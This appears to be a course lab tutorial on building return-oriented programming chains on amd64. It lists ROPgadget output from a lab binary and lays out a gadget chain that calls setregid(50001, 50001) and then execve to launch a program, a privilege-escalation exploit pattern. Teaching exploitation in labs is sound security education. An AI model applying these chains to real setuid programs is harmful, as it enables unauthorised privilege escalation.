# Building ROP chain in amd64 Objectives: 1. Learn how to set arguments for ROP in amd64 2. Learn how to chain ROP gadgets in amd64 ## Setting arguments. Argument passing in amd64 does not use the stack. So you cannot put the arguments in the stack as you did in x86, e.g., ``` [setregid()][pop-pop-ret][50001][50001]. ``` Instead, you should set the register values for argument passing: ``` rdi : 1st rsi : 2nd rdx : 3rd rcx : 4th r8 : 5th r9 : 6th ... ``` Then, how to call *setregid(50001, 50001)* for solving rop-2? 1. Gadgets for setting registers Let's take a look at the gadgets in `rop-2-64` ```bash $ ROPgadget --binary /home/labs/unit5/challenges/rop/rop-2-64 0x00000000004007bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007be : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007c0 : pop r14 ; pop r15 ; ret 0x00000000004007c2 : pop r15 ; ret 0x0000000000400662 : pop rbp ; mov byte ptr [rip + 0x2009f6], 1 ; ret 0x00000000004005ef : pop rbp ; mov edi, 0x601060 ; jmp rax 0x00000000004007bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007bf : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400600 : pop rbp ; ret 0x00000000004007c3 : pop rdi ; ret 0x00000000004006d8 : pop rdx ; ret 0x00000000004007c1 : pop rsi ; pop r15 ; ret 0x00000000004007bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret ``` Among many gadgets, I am interested in these gadgets. Why? We can set values of registers using stack! ```bash 0x00000000004007c3 : pop rdi ; ret <-- pop rdi, means that rdi = [value on the stack] 0x00000000004006d8 : pop rdx ; ret <-- pop rdx, means that rdx = [value on the stack] 0x00000000004007c1 : pop rsi ; pop r15 ; ret <-- pop rsi, means taht rsi = [value on the stack] ``` So to call `setregid(50001, 50001)`, we need to set rdi = 50001, rsi = 50001. How? Chain the gadget. ``` [addr of pop rdi; ret][50001][next] ``` This will make rdi = 50001 then run 'next'. ``` [addr of pop rdi; ret][50001][addr of pop rsi; pop r15; ret][50001][dummy for r15][next] ``` This will make *rdi=50001*, *rsi = 50001*, and *r15 = XXXXXXXX*, and then run next. 2. Chaining all to call *setregid(50001, 50001)* and *execve("xxxx", 0, 0)* Then, running setregid(50001, 50001) will be: ``` [addr of pop rdi; ret][50001] [addr of pop rsi; pop r15; ret][50001][dummy for r15] [addr of setregid][next] ``` EASY. Let's call *execve()*. We need to set: ``` rdi : some string address rsi : 0 rdx : 0 ``` let's assume some string address is at 0x4007d0 ``` [addr of pop rdi; ret;][0x4007d0] # set string addr to rdi [addr of pop rsi; pop r15; ret][0][0] # set rsi = 0 and r15 = 0 [addr of pop rdx; ret;][0] # set rdx = 0 [addr of execve] ``` Great. The entire chain will look like: ``` # setregid # set the 1st 50001 [addr of pop rdi; ret][50001] # set the 2nd 50001 [addr of pop rsi; pop r15; ret][50001][dummy for r15] # call setregid(50001, 50001) [addr of setregid] # set string address to run a program [addr of pop rdi; ret;][0x4007d0] # set string addr to rdi # set 2nd arg 0 [addr of pop rsi; pop r15; ret][0][0] # set rsi = 0 and r15 = 0 # set 3rd arg 0 [addr of pop rdx; ret;][0] # set rdx = 0 # call execve(0x4007d0, 0, 0); [addr of execve] ```